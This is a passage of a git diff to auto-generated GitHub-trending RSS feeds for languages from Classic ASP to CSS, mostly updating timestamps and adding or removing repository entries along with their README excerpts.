b53c71ab9d5..00000000000 --- a/classic-asp/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub Classic ASP Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:47:43Z - Weekly Trending of Classic ASP in GitHub - - - adahera222/GameDesignProjects - 2023-09-24T01:47:43Z - tag:github.com,2023-09-24:/adahera222/GameDesignProjects - - <p>Games made with Unity3D</p><hr> - - \ No newline at end of file diff --git a/clean/daily/index.xml b/clean/daily/index.xml index 6da81af1756..c2e05dc1c81 100644 --- a/clean/daily/index.xml +++ b/clean/daily/index.xml @@ -1,7 +1,7 @@ GitHub Clean Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:28:07Z + 2023-09-25T01:26:29Z Daily Trending of Clean in GitHub \ No newline at end of file diff --git a/clean/weekly/index.xml b/clean/weekly/index.xml deleted file mode 100644 index f44ce4cf8ec..00000000000 --- a/clean/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Clean Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:47:42Z - Weekly Trending of Clean in GitHub - - \ No newline at end of file diff --git a/click/daily/index.xml b/click/daily/index.xml index 1f8348e1488..db0bb39e0ab 100644 --- a/click/daily/index.xml +++ b/click/daily/index.xml @@ -1,7 +1,7 @@ GitHub Click Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:28:07Z + 2023-09-25T01:26:28Z Daily Trending of Click in GitHub \ No newline at end of file diff --git a/click/weekly/index.xml b/click/weekly/index.xml deleted file mode 100644 index 1fc33df99b1..00000000000 --- a/click/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Click Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:47:42Z - Weekly Trending of Click in GitHub - - \ No newline at end of file diff --git a/clips/daily/index.xml b/clips/daily/index.xml index 5b09fb7fb49..9c8621a2710 100644 --- a/clips/daily/index.xml +++ b/clips/daily/index.xml @@ -1,7 +1,7 @@ GitHub CLIPS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:28:05Z + 2023-09-25T01:26:29Z Daily Trending of CLIPS in GitHub \ No newline at end of file diff --git a/clips/weekly/index.xml b/clips/weekly/index.xml deleted file mode 100644 index 8015e7e1781..00000000000 --- a/clips/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub CLIPS Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:47:41Z - Weekly Trending of CLIPS in GitHub - - \ No newline at end of file diff --git a/clojure/daily/index.xml b/clojure/daily/index.xml index c5d06678950..4714be59b7b 100644 --- a/clojure/daily/index.xml +++ b/clojure/daily/index.xml @@ -1,14 +1,7 @@ GitHub Clojure Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:28:12Z + 2023-09-25T01:26:39Z Daily Trending of Clojure in GitHub - - metosin/arcone - 2023-09-24T01:28:12Z - tag:github.com,2023-09-24:/metosin/arcone - - <p>Archetype ONE</p><hr> - \ No newline at end of file diff --git a/clojure/weekly/index.xml b/clojure/weekly/index.xml deleted file mode 100644 index f09a723cf87..00000000000 --- a/clojure/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub Clojure Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:47:48Z - Weekly Trending of Clojure in GitHub - - - nubank/nodely - 2023-09-24T01:47:48Z - tag:github.com,2023-09-24:/nubank/nodely - - <p></p><hr> - - \ No newline at end of file diff --git a/closure-templates/daily/index.xml b/closure-templates/daily/index.xml index 25aeae8e73a..d86ec092354 100644 --- a/closure-templates/daily/index.xml +++ b/closure-templates/daily/index.xml @@ -1,7 +1,7 @@ GitHub Closure Templates Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:28:09Z + 2023-09-25T01:26:33Z Daily Trending of Closure Templates in GitHub \ No newline at end of file diff --git a/closure-templates/weekly/index.xml b/closure-templates/weekly/index.xml deleted file mode 100644 index bcc6bca9727..00000000000 --- a/closure-templates/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Closure Templates Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:47:45Z - Weekly Trending of Closure Templates in GitHub - - \ No newline at end of file diff --git a/cloud-firestore-security-rules/daily/index.xml b/cloud-firestore-security-rules/daily/index.xml index 2016c37f619..5d7c9599843 100644 --- a/cloud-firestore-security-rules/daily/index.xml +++ b/cloud-firestore-security-rules/daily/index.xml @@ -1,7 +1,7 @@ GitHub Cloud Firestore Security Rules Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:28:09Z + 2023-09-25T01:26:32Z Daily Trending of Cloud Firestore Security Rules in GitHub \ No newline at end of file diff --git a/cloud-firestore-security-rules/weekly/index.xml b/cloud-firestore-security-rules/weekly/index.xml deleted file mode 100644 index e6828a4682e..00000000000 --- a/cloud-firestore-security-rules/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Cloud Firestore Security Rules Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:47:44Z - Weekly Trending of Cloud Firestore Security Rules in GitHub - - \ No newline at end of file diff --git a/cmake/daily/index.xml b/cmake/daily/index.xml index f920ebcffbb..608c3ab57b8 100644 --- a/cmake/daily/index.xml +++ b/cmake/daily/index.xml @@ -1,7 +1,7 @@ GitHub CMake Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:28:15Z + 2023-09-25T01:26:36Z Daily Trending of CMake in GitHub \ No newline at end of file diff --git a/cmake/weekly/index.xml b/cmake/weekly/index.xml deleted file mode 100644 index 286787c5550..00000000000 --- a/cmake/weekly/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - GitHub CMake Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:47:51Z - Weekly Trending of CMake in GitHub - - - sudara/cmake-includes - 2023-09-24T01:47:51Z - tag:github.com,2023-09-24:/sudara/cmake-includes - - <p>CMake include files used by Pamplejuce, the JUCE CMake template</p><hr> - - - KDE/extra-cmake-modules - 2023-09-24T01:47:51Z - tag:github.com,2023-09-24:/KDE/extra-cmake-modules - - <p>Extra modules and scripts for CMake.</p><hr> - - \ No newline at end of file diff --git a/cobol/daily/index.xml b/cobol/daily/index.xml index a0d876d1112..2469b8816a5 100644 --- a/cobol/daily/index.xml +++ b/cobol/daily/index.xml @@ -1,7 +1,14 @@ GitHub COBOL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:28:16Z + 2023-09-25T01:26:42Z Daily Trending of COBOL in GitHub + + H4K3R13/The-Hello-World-Project + 2023-09-25T01:26:42Z + tag:github.com,2023-09-25:/H4K3R13/The-Hello-World-Project + + <p>This repository hosts programs that output 'Hello World' in various programming languages. 🌍✨</p><hr> + \ No newline at end of file diff --git a/cobol/weekly/index.xml b/cobol/weekly/index.xml deleted file mode 100644 index 076a90ca856..00000000000 --- a/cobol/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub COBOL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:47:52Z - Weekly Trending of COBOL in GitHub - - - IonicaBizau/node-cobol - 2023-09-24T01:47:52Z - tag:github.com,2023-09-24:/IonicaBizau/node-cobol - - <p>📺 COBOL bridge for NodeJS which allows you to run COBOL code from NodeJS.</p><hr> - - \ No newline at end of file diff --git a/codeowners/daily/index.xml b/codeowners/daily/index.xml index 1bf9240c572..8f6b376e9d1 100644 --- a/codeowners/daily/index.xml +++ b/codeowners/daily/index.xml @@ -1,7 +1,7 @@ GitHub CODEOWNERS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:28:17Z + 2023-09-25T01:26:40Z Daily Trending of CODEOWNERS in GitHub \ No newline at end of file diff --git a/codeowners/weekly/index.xml b/codeowners/weekly/index.xml deleted file mode 100644 index b688c77a3c4..00000000000 --- a/codeowners/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub CODEOWNERS Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:47:53Z - Weekly Trending of CODEOWNERS in GitHub - - \ No newline at end of file diff --git a/codeql/daily/index.xml b/codeql/daily/index.xml index 0e9d81059c9..ed4b6a61bd4 100644 --- a/codeql/daily/index.xml +++ b/codeql/daily/index.xml @@ -1,7 +1,7 @@ GitHub CodeQL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:28:18Z + 2023-09-25T01:26:41Z Daily Trending of CodeQL in GitHub \ No newline at end of file diff --git a/codeql/weekly/index.xml b/codeql/weekly/index.xml deleted file mode 100644 index 74435e8d0af..00000000000 --- a/codeql/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub CodeQL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:47:54Z - Weekly Trending of CodeQL in GitHub - - \ No newline at end of file diff --git a/coffeescript/daily/index.xml b/coffeescript/daily/index.xml index de7d7ee2b86..ffeb5fb18fd 100644 --- a/coffeescript/daily/index.xml +++ b/coffeescript/daily/index.xml @@ -1,7 +1,7 @@ GitHub CoffeeScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:28:20Z + 2023-09-25T01:26:44Z Daily Trending of CoffeeScript in GitHub \ No newline at end of file diff --git a/coffeescript/weekly/index.xml b/coffeescript/weekly/index.xml deleted file mode 100644 index aca76e5bd3d..00000000000 --- a/coffeescript/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub CoffeeScript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:47:57Z - Weekly Trending of CoffeeScript in GitHub - - - karma-runner/karma-ng-html2js-preprocessor - 2023-09-24T01:47:57Z - tag:github.com,2023-09-24:/karma-runner/karma-ng-html2js-preprocessor - - <p>A Karma plugin. Compile AngularJS 1.x and 2.x templates to JavaScript on the fly.</p><hr> - - - FurqanSoftware/node-whois - 2023-09-24T01:47:57Z - tag:github.com,2023-09-24:/FurqanSoftware/node-whois - - <p>A simple WHOIS client for NodeJS</p><hr> - - - piotrm/planer-wydatkow - 2023-09-24T01:47:57Z - tag:github.com,2023-09-24:/piotrm/planer-wydatkow - - <p></p><hr> - - \ No newline at end of file diff --git a/coldfusion-cfc/daily/index.xml b/coldfusion-cfc/daily/index.xml index 4f9acd56aa2..7bed38a5133 100644 --- a/coldfusion-cfc/daily/index.xml +++ b/coldfusion-cfc/daily/index.xml @@ -1,7 +1,7 @@ GitHub ColdFusion CFC Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:28:23Z + 2023-09-25T01:26:45Z Daily Trending of ColdFusion CFC in GitHub \ No newline at end of file diff --git a/coldfusion-cfc/weekly/index.xml b/coldfusion-cfc/weekly/index.xml deleted file mode 100644 index e560139fc9a..00000000000 --- a/coldfusion-cfc/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub ColdFusion CFC Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:47:59Z - Weekly Trending of ColdFusion CFC in GitHub - - \ No newline at end of file diff --git a/coldfusion/daily/index.xml b/coldfusion/daily/index.xml index 264db63cc27..cc90c76c8a1 100644 --- a/coldfusion/daily/index.xml +++ b/coldfusion/daily/index.xml @@ -1,7 +1,7 @@ GitHub ColdFusion Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:28:21Z + 2023-09-25T01:26:47Z Daily Trending of ColdFusion in GitHub \ No newline at end of file diff --git a/coldfusion/weekly/index.xml b/coldfusion/weekly/index.xml deleted file mode 100644 index f98407241bc..00000000000 --- a/coldfusion/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub ColdFusion Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:48:00Z - Weekly Trending of ColdFusion in GitHub - - \ No newline at end of file diff --git a/collada/daily/index.xml b/collada/daily/index.xml index ffbdf7b24ad..f78e84eee8a 100644 --- a/collada/daily/index.xml +++ b/collada/daily/index.xml @@ -1,7 +1,7 @@ GitHub COLLADA Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:28:22Z + 2023-09-25T01:26:46Z Daily Trending of COLLADA in GitHub \ No newline at end of file diff --git a/collada/weekly/index.xml b/collada/weekly/index.xml deleted file mode 100644 index 94d741ca74e..00000000000 --- a/collada/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub COLLADA Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:47:58Z - Weekly Trending of COLLADA in GitHub - - \ No newline at end of file diff --git a/common-lisp/daily/index.xml b/common-lisp/daily/index.xml index 3d395dd3116..c7859c19cef 100644 --- a/common-lisp/daily/index.xml +++ b/common-lisp/daily/index.xml @@ -1,7 +1,14 @@ GitHub Common Lisp Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:28:23Z + 2023-09-25T01:26:49Z Daily Trending of Common Lisp in GitHub + + fukamachi/clack + 2023-09-25T01:26:49Z + tag:github.com,2023-09-25:/fukamachi/clack + + <p>Web server abstraction layer for Common Lisp</p><hr><h1>Clack - Web Application Environment for Common Lisp</h1> <p><a href="https://travis-ci.org/fukamachi/clack"><img src="https://travis-ci.org/fukamachi/clack.svg?branch=master" alt="Build Status"></a> <a href="https://coveralls.io/r/fukamachi/clack"><img src="https://coveralls.io/repos/fukamachi/clack/badge.svg?branch=master" alt="Coverage Status"></a> <a href="http://quickdocs.org/clack/"><img src="http://quickdocs.org/badge/clack.svg?sanitize=true" alt="Quicklisp dist"></a></p> <p>Clack is a web application environment for Common Lisp inspired by Python's WSGI and Ruby's Rack.</p> <h2>Usage</h2> <pre><code class="language-common-lisp">(defvar *handler* (clack:clackup (lambda (env) (declare (ignore env)) '(200 (:content-type "text/plain") ("Hello, Clack!"))))) </code></pre> <p>Open your web browser and go to <a href="http://localhost:5000/">http://localhost:5000/</a>. You should get "Hello, Clack!".</p> <p>To stop the server, use <code>(clack:stop *handler*)</code>.</p> <h2>Command-line interface</h2> <p>Clack provides a script to start a web server. It's useful when you deploy to production environment.</p> <p>NOTE: Install <a href="https://github.com/snmsts/roswell">Roswell</a> before as it depends on it.</p> <p>When you execute <code>ros install clack</code>, it copies <code>clackup</code> script to <code>$HOME/.roswell/bin</code>. Make sure the path is in your shell <code>$PATH</code>.</p> <pre><code>$ ros install clack $ which clackup /Users/nitro_idiot/.roswell/bin/clackup $ cat &lt;&lt;EOF &gt;&gt; app.lisp (lambda (env) (declare (ignore env)) '(200 (:content-type "text/plain") ("Hello, Clack!"))) EOF $ clackup app.lisp Hunchentoot server is started. Listening on localhost:5000. </code></pre> <h2>Installation</h2> <pre><code class="language-common-lisp">(ql:quickload :clack) </code></pre> <h2>Documentation</h2> <ul> <li><a href="http://quickdocs.org/clack/">Quickdocs Page</a></li> </ul> <h2>Resources</h2> <ul> <li><a href="https://fukamachi.hashnode.dev/how-to-build-a-web-app-with-clack-and-lack-1">How to build a web app with Clack/Lack (1)</a></li> <li><a href="https://github.com/jasom/clack-tutorial/raw/src/pages/getting-started-with-clack.org">jasom/clack-tutorial</a></li> </ul> <h2>Server</h2> <ul> <li><a href="http://weitz.de/hunchentoot/">Hunchentoot</a></li> <li><a href="http://www.fastcgi.com/">FastCGI</a></li> <li><a href="http://wookie.beeets.com/">Wookie</a></li> <li><a href="https://github.com/gigamonkey/toot">Toot</a></li> <li><a href="https://github.com/fukamachi/woo">Woo</a></li> </ul> <h2>How to contribute</h2> <p>See <a href="https://raw.githubusercontent.com/fukamachi/clack/master/CONTRIBUTING.md">CONTRIBUTING.md</a>.</p> <h2>See Also</h2> <ul> <li><a href="https://github.com/fukamachi/lack">Lack</a>: Clack application builder</li> </ul> <h2>Author</h2> <ul> <li>Eitaro Fukamachi (<a href="mailto:e.arrows@gmail.com">e.arrows@gmail.com</a>)</li> </ul> <h2>Copyright</h2> <p>Copyright (c) 2011 Eitaro Fukamachi &amp; <a href="https://github.com/fukamachi/clack/graphs/contributors">contributors</a></p> <h2>License</h2> <p>Licensed under the MIT License.</p> + \ No newline at end of file diff --git a/common-lisp/weekly/index.xml b/common-lisp/weekly/index.xml deleted file mode 100644 index 26d400a3652..00000000000 --- a/common-lisp/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Common Lisp Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:48:01Z - Weekly Trending of Common Lisp in GitHub - - \ No newline at end of file diff --git a/common-workflow-language/daily/index.xml b/common-workflow-language/daily/index.xml index 98bbb2111db..7038f788b69 100644 --- a/common-workflow-language/daily/index.xml +++ b/common-workflow-language/daily/index.xml @@ -1,7 +1,7 @@ GitHub Common Workflow Language Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:28:27Z + 2023-09-25T01:26:54Z Daily Trending of Common Workflow Language in GitHub \ No newline at end of file diff --git a/common-workflow-language/weekly/index.xml b/common-workflow-language/weekly/index.xml deleted file mode 100644 index 8edcd1e869c..00000000000 --- a/common-workflow-language/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Common Workflow Language Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:48:05Z - Weekly Trending of Common Workflow Language in GitHub - - \ No newline at end of file diff --git a/component-pascal/daily/index.xml b/component-pascal/daily/index.xml index 15e7f8dea07..65fbc284d9d 100644 --- a/component-pascal/daily/index.xml +++ b/component-pascal/daily/index.xml @@ -1,7 +1,7 @@ GitHub Component Pascal Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:28:25Z + 2023-09-25T01:26:51Z Daily Trending of Component Pascal in GitHub \ No newline at end of file diff --git a/component-pascal/weekly/index.xml b/component-pascal/weekly/index.xml deleted file mode 100644 index fd29f231ef7..00000000000 --- a/component-pascal/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Component Pascal Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:48:04Z - Weekly Trending of Component Pascal in GitHub - - \ No newline at end of file diff --git a/conll-u/daily/index.xml b/conll-u/daily/index.xml index a86cfaa151e..9a1d143a721 100644 --- a/conll-u/daily/index.xml +++ b/conll-u/daily/index.xml @@ -1,7 +1,7 @@ GitHub CoNLL-U Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:28:26Z + 2023-09-25T01:26:53Z Daily Trending of CoNLL-U in GitHub \ No newline at end of file diff --git a/conll-u/weekly/index.xml b/conll-u/weekly/index.xml deleted file mode 100644 index fa9e0994c43..00000000000 --- a/conll-u/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub CoNLL-U Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:48:04Z - Weekly Trending of CoNLL-U in GitHub - - \ No newline at end of file diff --git a/cool/daily/index.xml b/cool/daily/index.xml index 7b3c1ae288d..e146242d712 100644 --- a/cool/daily/index.xml +++ b/cool/daily/index.xml @@ -1,7 +1,7 @@ GitHub Cool Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:28:27Z + 2023-09-25T01:26:52Z Daily Trending of Cool in GitHub \ No newline at end of file diff --git a/cool/weekly/index.xml b/cool/weekly/index.xml deleted file mode 100644 index e5cea121f7b..00000000000 --- a/cool/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Cool Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:48:03Z - Weekly Trending of Cool in GitHub - - \ No newline at end of file diff --git a/coq/daily/index.xml b/coq/daily/index.xml index 1ec7f954983..a1a2bc87de5 100644 --- a/coq/daily/index.xml +++ b/coq/daily/index.xml @@ -1,7 +1,7 @@ GitHub Coq Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:28:31Z + 2023-09-25T01:26:56Z Daily Trending of Coq in GitHub \ No newline at end of file diff --git a/coq/weekly/index.xml b/coq/weekly/index.xml deleted file mode 100644 index f99be6a121a..00000000000 --- a/coq/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Coq Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:48:08Z - Weekly Trending of Coq in GitHub - - \ No newline at end of file diff --git a/cpp-objdump/daily/index.xml b/cpp-objdump/daily/index.xml index 8af43eb8578..de4053fd316 100644 --- a/cpp-objdump/daily/index.xml +++ b/cpp-objdump/daily/index.xml @@ -1,7 +1,7 @@ GitHub Cpp-ObjDump Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:28:29Z + 2023-09-25T01:26:55Z Daily Trending of Cpp-ObjDump in GitHub \ No newline at end of file diff --git a/cpp-objdump/weekly/index.xml b/cpp-objdump/weekly/index.xml deleted file mode 100644 index 9c3c3ee3b5c..00000000000 --- a/cpp-objdump/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Cpp-ObjDump Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:48:07Z - Weekly Trending of Cpp-ObjDump in GitHub - - \ No newline at end of file diff --git a/creole/daily/index.xml b/creole/daily/index.xml index b7470315eb9..34d1c16a677 100644 --- a/creole/daily/index.xml +++ b/creole/daily/index.xml @@ -1,7 +1,7 @@ GitHub Creole Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:28:30Z + 2023-09-25T01:26:57Z Daily Trending of Creole in GitHub \ No newline at end of file diff --git a/creole/weekly/index.xml b/creole/weekly/index.xml deleted file mode 100644 index 7f9d30a15a7..00000000000 --- a/creole/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Creole Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:48:06Z - Weekly Trending of Creole in GitHub - - \ No newline at end of file diff --git a/crystal/daily/index.xml b/crystal/daily/index.xml index b12ebedad36..a9d835f1d02 100644 --- a/crystal/daily/index.xml +++ b/crystal/daily/index.xml @@ -1,7 +1,7 @@ GitHub Crystal Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:28:29Z + 2023-09-25T01:26:58Z Daily Trending of Crystal in GitHub \ No newline at end of file diff --git a/crystal/weekly/index.xml b/crystal/weekly/index.xml deleted file mode 100644 index 1719eafcc4d..00000000000 --- a/crystal/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Crystal Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:48:09Z - Weekly Trending of Crystal in GitHub - - \ No newline at end of file diff --git a/cson/daily/index.xml b/cson/daily/index.xml index f9bffa7d8f4..9df598d4f03 100644 --- a/cson/daily/index.xml +++ b/cson/daily/index.xml @@ -1,7 +1,7 @@ GitHub CSON Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:28:35Z + 2023-09-25T01:27:01Z Daily Trending of CSON in GitHub \ No newline at end of file diff --git a/cson/weekly/index.xml b/cson/weekly/index.xml deleted file mode 100644 index adfd4c5aa7a..00000000000 --- a/cson/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub CSON Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:48:10Z - Weekly Trending of CSON in GitHub - - \ No newline at end of file diff --git a/csound-document/daily/index.xml b/csound-document/daily/index.xml index ce8a439bbd3..d8723545fcc 100644 --- a/csound-document/daily/index.xml +++ b/csound-document/daily/index.xml @@ -1,7 +1,7 @@ GitHub Csound Document Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:28:34Z + 2023-09-25T01:27:00Z Daily Trending of Csound Document in GitHub \ No newline at end of file diff --git a/csound-document/weekly/index.xml b/csound-document/weekly/index.xml deleted file mode 100644 index 709ba37b3d8..00000000000 --- a/csound-document/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Csound Document Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:48:11Z - Weekly Trending of Csound Document in GitHub - - \ No newline at end of file diff --git a/csound-score/daily/index.xml b/csound-score/daily/index.xml index 6db35bdacfc..64b6507647f 100644 --- a/csound-score/daily/index.xml +++ b/csound-score/daily/index.xml @@ -1,7 +1,7 @@ GitHub Csound Score Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:28:32Z + 2023-09-25T01:27:02Z Daily Trending of Csound Score in GitHub \ No newline at end of file diff --git a/csound-score/weekly/index.xml b/csound-score/weekly/index.xml deleted file mode 100644 index 6c542979e98..00000000000 --- a/csound-score/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Csound Score Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:48:12Z - Weekly Trending of Csound Score in GitHub - - \ No newline at end of file diff --git a/csound/daily/index.xml b/csound/daily/index.xml index 7b50fca17a4..a5f234ccef7 100644 --- a/csound/daily/index.xml +++ b/csound/daily/index.xml @@ -1,7 +1,7 @@ GitHub Csound Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:28:33Z + 2023-09-25T01:27:00Z Daily Trending of Csound in GitHub \ No newline at end of file diff --git a/csound/weekly/index.xml b/csound/weekly/index.xml deleted file mode 100644 index 17d6ad07444..00000000000 --- a/csound/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Csound Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:48:13Z - Weekly Trending of Csound in GitHub - - \ No newline at end of file diff --git a/css/daily/index.xml b/css/daily/index.xml index b4c2fcad747..7af0bdc9e3d 100644 --- a/css/daily/index.xml +++ b/css/daily/index.xml @@ -1,28 +1,7 @@ GitHub CSS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:28:41Z + 2023-09-25T01:27:09Z Daily Trending of CSS in GitHub - - leonjza/frida-boot - 2023-09-24T01:28:41Z - tag:github.com,2023-09-24:/leonjza/frida-boot - - <p>Frida Boot 👢- A binary instrumentation workshop, with Frida, for beginners!</p><hr><h1 align="center"> <br> <br> frida-boot 👢 <br> </h1> <h4 align="center"> A binary instrumentation workshop, using <a href="https://frida.re" target="_blank">Frida</a>, for beginners! <br> <p align="center"> <a href="https://twitter.com/leonjza"><img src="https://img.shields.io/badge/twitter-%40leonjza-blue.svg?sanitize=true" alt="@leonjza" height="18"></a> <a href="https://hub.docker.com/r/leonjza/frida-boot"><img alt="Docker Cloud Build Status" src="https://img.shields.io/docker/cloud/build/leonjza/frida-boot"></a> </p> </h4> <h2>quickstart</h2> <img align="right" src="https://raw.githubusercontent.com/leonjza/frida-boot/master/images/frida-boot-web.png" height="320" alt="frida-boot"> <ul> <li><code>git clone https://github.com/leonjza/frida-boot</code></li> <li><code>cd frida-boot</code></li> <li><code>./docker.sh pull</code></li> <li><code>./docker.sh run</code></li> </ul> <p>After running the container, all of the offline workshop content will be available at <a href="http://localhost:9999">http://localhost:9999</a>.</p> <h2>slides &amp; stream</h2> <p>This workshop was streamed on YouTube <a href="https://www.youtube.com/watch?v=CLpW1tZCblo">here</a>.</p> <p>The slides for the workshop can be found on Google Slides <a href="https://docs.google.com/presentation/d/1BK4CsGChSKI8BCVsg9Rlv0lY5AfsrbanhIRWnKaP0TI/edit?usp=sharing">here</a>, with a PDF copy available in the <code>slides/</code> directory of this repository.</p> <h2>manually building</h2> <p>The <code>Dockerfile</code> in this repository can be used to manually build the container. Feel free to edit it to suit your needs.</p> <pre><code class="language-bash">docker build -t frida-boot:local . </code></pre> - - - EBAS-ID/lpkarum_software_developer - 2023-09-24T01:28:41Z - tag:github.com,2023-09-24:/EBAS-ID/lpkarum_software_developer - - <p>Modul pelatihan untuk lpk arum software developer</p><hr> - - - Sommerwiesel/invidious - 2023-09-24T01:28:41Z - tag:github.com,2023-09-24:/Sommerwiesel/invidious - - <p>Invidious fork with customizations for invidious.nerdvpn.de</p><hr><h1>invidious</h1> <p>Invidious fork with customizations for invidious.nerdvpn.de</p> <p>Modifications differing from the original repo are only in one file: assets/css/default.css</p> <p>Original repo at: <a href="https://github.com/iv-org/invidious">https://github.com/iv-org/invidious</a></p> - \ No newline at end of file diff --git a/css/weekly/index.xml b/css/weekly/index.xml deleted file mode 100644 index 94e9e79f1af..00000000000 --- a/css/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub CSS Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:48:19Z - Weekly Trending of CSS in GitHub - - - zhile-io/ChatGPTAuthHelper - 2023-09-24T01:48:19Z - tag:github.com,2023-09-24:/zhile-io/ChatGPTAuthHelper - - <p>一个简单的Chrome插件,用来帮助你登录ChatGPT。</p><hr><h1>ChatGPT Auth Helper</h1> <p>一个简单的 <code>Chrome</code> 插件,用来帮助你登录 <code>ChatGPT</code>。</p> <h3>使用步骤:</h3> <ol> <li>前往 <a href="https://github.com/zhile-io/ChatGPTAuthHelper/releases">Release</a> 下载 <code>zip</code> / <code>tar.gz</code> 并解压缩。</li> <li>打开 <code>Chrome</code> ,地址栏输入: <code>chrome://extensions</code> 打开 <code>扩展程序</code> 设置页面。</li> <li>右上角打开 <code>开发者模式</code> 。</li> <li>点击左上角 <code>加载已解压的扩展程序</code> 